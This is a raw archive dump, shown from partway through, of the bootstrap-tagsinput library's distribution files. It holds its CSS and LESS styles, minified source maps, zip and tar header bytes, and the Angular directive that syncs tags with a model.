  color: #777;
}
.bootstrap-tagsinput input:focus {
  border: none;
  box-shadow: none;
}
.bootstrap-tagsinput .tag {
  margin-right: 2px;
  color: white;
}
.bootstrap-tagsinput .tag [data-role="remove"] {
  margin-left: 8px;
  cursor: pointer;
}
.bootstrap-tagsinput .tag [data-role="remove"]:after {
  content: "x";
  padding: 0px 2px;
}
.bootstrap-tagsinput .tag [data-role="remove"]:hover {
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
}
.bootstrap-tagsinput .tag [data-role="remove"]:hover:active {
  box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
}
PK
�jG�lN���dist/bootstrap-tagsinput.less.bootstrap-tagsinput {
  background-color: #fff;
  border: 1px solid #ccc;
  box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
  display: inline-block;
  padding: 4px 6px;
  margin-bottom: 10px;
  color: #555;
  vertical-align: middle;
  border-radius: 4px;
  max-width: 100%;
  line-height: 22px;
  cursor: text;

  input {
    border: none;
    box-shadow: none;
    outline: none;
    background-color: transparent;
    padding: 0;
    margin: 0;
    width: auto !important;
    max-width: inherit;

    &:focus {
      border: none;
      box-shadow: none;
    }
  }

  .tag {
    margin-right: 2px;
    color: white;

    [data-role="remove"] {
      margin-left:8px;
      cursor:pointer;
      &:after{
        content: "x";
        padding:0px 2px;
      }
      &:hover {
        box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
        &:active {
          box-shadow: inset 0 3px 5px rgba(0,0,0,0.125);
        }
      }
    }
  }
}
PK
�jGPS�oo+dist/bootstrap-tagsinput-angular.min.js.map{"version":3,"sources":["../src/bootstrap-tagsinput-angular.js"],"names":["angular","module","directive","getItemProperty","scope","property","isFunction","$parent","item","undefined","restrict","model","template","replace","link","element","attrs","$","isArray","select","typeaheadSourceArray","typeaheadSource","split","length","tagsinput","options","typeahead","source","itemValue","itemvalue","itemText","itemtext","confirmKeys","confirmkeys","JSON","parse","tagClass","tagclass","i","on","event","indexOf","push","idx","splice","prev","slice","$watch","added","filter","removed"],"mappings":";;;;;AAAAA,QAAQC,OAAO,0BACdC,UAAU,sBAAuB,WAEhC,QAASC,GAAgBC,EAAOC,GAC9B,MAAKA,GAGDL,QAAQM,WAAWF,EAAMG,QAAQF,IAC5BD,EAAMG,QAAQF,GAEhB,SAASG,GACd,MAAOA,GAAKH,IANLI,OAUX,OACEC,SAAU,KACVN,OACEO,MAAO,YAETC,SAAU,6BACVC,SAAS,EACTC,KAAM,SAASV,EAAOW,EAASC,GAC7BC,EAAE,WACKjB,QAAQkB,QAAQd,EAAMO,SACzBP,EAAMO,SAER,IAAIQ,GAASF,EAAE,SAAUF,GACrBK,EAAuBJ,EAAMK,gBAAkBL,EAAMK,gBAAgBC,MAAM,KAAO,KAClFD,EAAkBD,EACjBA,EAAqBG,OAAS,EAC3BnB,EAAMG,QAAQa,EAAqB,IAAIA,EAAqB,IAC1DhB,EAAMG,QAAQa,EAAqB,IACvC,IAEND,GAAOK,UAAUpB,EAAMG,QAAQS,EAAMS,SAAW,MAC9CC,WACEC,OAAW3B,QAAQM,WAAWe,GAAmBA,EAAkB,MAErEO,UAAWzB,EAAgBC,EAAOY,EAAMa,WACxCC,SAAW3B,EAAgBC,EAAOY,EAAMe,UACxCC,YAAc7B,EAAgBC,EAAOY,EAAMiB,aAAeC,KAAKC,MAAMnB,EAAMiB,cAAgB,IAC3FG,SAAWpC,QAAQM,WAAWF,EAAMG,QAAQS,EAAMqB,WAAajC,EAAMG,QAAQS,EAAMqB,UAAY,SAAS7B,GAAQ,MAAOQ,GAAMqB,WAG/H,KAAK,GAAIC,GAAI,EAAGA,EAAIlC,EAAMO,MAAMY,OAAQe,IACtCnB,EAAOK,UAAU,MAAOpB,EAAMO,MAAM2B,GAGtCnB,GAAOoB,GAAG,YAAa,SAASC,GACU,KAApCpC,EAAMO,MAAM8B,QAAQD,EAAMhC,OAC5BJ,EAAMO,MAAM+B,KAAKF,EAAMhC,QAG3BW,EAAOoB,GAAG,cAAe,SAASC,GAChC,GAAIG,GAAMvC,EAAMO,MAAM8B,QAAQD,EAAMhC,KACxB,MAARmC,GACFvC,EAAMO,MAAMiC,OAAOD,EAAK,IAK5B,IAAIE,GAAOzC,EAAMO,MAAMmC,OACvB1C,GAAM2C,OAAO,QAAS,WACpB,GAEIT,GAFAU,EAAQ5C,EAAMO,MAAMsC,OAAO,SAASX,GAAI,MAA2B,KAApBO,EAAKJ,QAAQH,KAC5DY,EAAUL,EAAKI,OAAO,SAASX,GAAI,MAAkC,KAA3BlC,EAAMO,MAAM8B,QAAQH,IAMlE,KAHAO,EAAOzC,EAAMO,MAAMmC,QAGdR,EAAI,EAAGA,EAAIY,EAAQ3B,OAAQe,IAC9BnB,EAAOK,UAAU,SAAU0B,EAAQZ,GAOrC,KAHAnB,EAAOK,UAAU,WAGZc,EAAI,EAAGA,EAAIU,EAAMzB,OAAQe,IAC5BnB,EAAOK,UAAU,MAAOwB,EAAMV,MAE/B","file":"bootstrap-tagsinput-angular.min.js"}PK
�jG��R,00#dist/bootstrap-tagsinput.min.js.map{"version":3,"sources":["../src/bootstrap-tagsinput.js"],"names":["$","TagsInput","element","options","this","isInit","itemsArray","$element","hide","isSelect","tagName","multiple","hasAttribute","objectItems","itemValue","placeholderText","attr","inputSize","Math","max","length","$container","$input","appendTo","before","build","makeOptionItemFunction","key","propertyName","item","makeOptionFunction","value","htmlEncode","htmlEncodeContainer","text","html","doGetCaretPosition","oField","iCaretPos","document","selection","focus","oSel","createRange","moveStart","selectionStart","keyCombinationInList","keyPressEvent","lookupList","found","each","index","keyCombination","which","alt","hasOwnProperty","altKey","shift","shiftKey","ctrl","ctrlKey","defaultOptions","tagClass","toString","itemText","itemTitle","freeInput","addOnBlur","maxTags","undefined","maxChars","confirmKeys","delimiter","delimiterRegex","cancelConfirmKeysOnEmpty","onTagExists","$tag","fadeIn","trimValue","allowDuplicates","prototype","constructor","add","dontPushVal","self","trim","match","remove","items","split","i","pushVal","existing","grep","maxInputLength","beforeItemAddEvent","Event","cancel","trigger","push","data","findInputWrapper","after","optionExists","encodeURIComponent","$option","append","addClass","typeahead","$existingTag","filter","other","beforeItemRemoveEvent","inArray","splice","removeClass","removeAll","pop","refresh","contents","nodeType","nodeValue","option","val","map","extend","source","query","process","processItems","texts","isFunction","success","then","when","updater","matcher","toLowerCase","indexOf","sorter","sort","highlighter","regex","RegExp","replace","typeaheadjs","typeaheadConfig","typeaheadDatasets","isArray","on","proxy","obj","datum","valueKey","event","removeAttr","target","$inputWrapper","prev","next","$prevTag","$nextTag","textLength","ceil","maxLengthReached","substr","preventDefault","closest","destroy","off","removeData","show","input","elt","container","parentNode","fn","tagsinput","arg1","arg2","arg3","results","retVal","Constructor","window","jQuery"],"mappings":"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","file":"bootstrap-tagsinput.min.js"}PK
�jGdist/PK
�jGv��gg##dist/bootstrap-tagsinput-angular.jsPK
�jG�T+��'�dist/bootstrap-tagsinput-angular.min.jsPK
�jG	�L�UU�dist/bootstrap-tagsinput.jsPK
�jG���#�#	gdist/bootstrap-tagsinput.min.jsPK
�jG�����&�dist/bootstrap-tagsinput-typeahead.cssPK
�jGi��6%%(�dist/bootstrap-tagsinput.cssPK
�jG�lN�����dist/bootstrap-tagsinput.lessPK
�jGPS�oo+��dist/bootstrap-tagsinput-angular.min.js.mapPK
�jG��R,00#L�dist/bootstrap-tagsinput.min.js.mapPK

��bootstrap-tagsinput-angular.js000064400000005676151677260650012617 0ustar00angular.module('bootstrap-tagsinput', [])
.directive('bootstrapTagsinput', [function() {

  function getItemProperty(scope, property) {
    if (!property)
      return undefined;

    if (angular.isFunction(scope.$parent[property]))
      return scope.$parent[property];

    return function(item) {
      return item[property];
    };
  }

  return {
    restrict: 'EA',
    scope: {
      model: '=ngModel'
    },
    template: '<select multiple></select>',
    replace: false,
    link: function(scope, element, attrs) {
      $(function() {
        if (!angular.isArray(scope.model))
          scope.model = [];

        var select = $('select', element);
        var typeaheadSourceArray = attrs.typeaheadSource ? attrs.typeaheadSource.split('.') : null;
        var typeaheadSource = typeaheadSourceArray ?
            (typeaheadSourceArray.length > 1 ?
                scope.$parent[typeaheadSourceArray[0]][typeaheadSourceArray[1]]
                : scope.$parent[typeaheadSourceArray[0]])
            : null;

        select.tagsinput(scope.$parent[attrs.options || ''] || {
          typeahead : {
            source   : angular.isFunction(typeaheadSource) ? typeaheadSource : null
          },
          itemValue: getItemProperty(scope, attrs.itemvalue),
          itemText : getItemProperty(scope, attrs.itemtext),
          confirmKeys : getItemProperty(scope, attrs.confirmkeys) ? JSON.parse(attrs.confirmkeys) : [13],
          tagClass : angular.isFunction(scope.$parent[attrs.tagclass]) ? scope.$parent[attrs.tagclass] : function(item) { return attrs.tagclass; }
        });

        for (var i = 0; i < scope.model.length; i++) {
          select.tagsinput('add', scope.model[i]);
        }

        select.on('itemAdded', function(event) {
          if (scope.model.indexOf(event.item) === -1)
            scope.model.push(event.item);
        });

        select.on('itemRemoved', function(event) {
          var idx = scope.model.indexOf(event.item);
          if (idx !== -1)
            scope.model.splice(idx, 1);
        });

        // create a shallow copy of model's current state, needed to determine
        // diff when model changes
        var prev = scope.model.slice();
        scope.$watch("model", function() {
          var added = scope.model.filter(function(i) {return prev.indexOf(i) === -1;}),
              removed = prev.filter(function(i) {return scope.model.indexOf(i) === -1;}),
              i;

          prev = scope.model.slice();

          // Remove tags no longer in binded model
          for (i = 0; i < removed.length; i++) {
            select.tagsinput('remove', removed[i]);
          }

          // Refresh remaining tags
          select.tagsinput('refresh');

          // Add new items in model as tags
          for (i = 0; i < added.length; i++) {
            select.tagsinput('add', added[i]);
          }
        }, true);
      });
    }
  };
}]);
bootstrap-tagsinput-typeahead.css000064400000002000151677260650013260 0ustar00.twitter-typeahead .tt-query,
.twitter-typeahead .tt-hint {
    margin-bottom: 0;
}

.twitter-typeahead .tt-hint
{
    display: none;
}

.tt-menu {
    position: absolute;
    top: 100%;
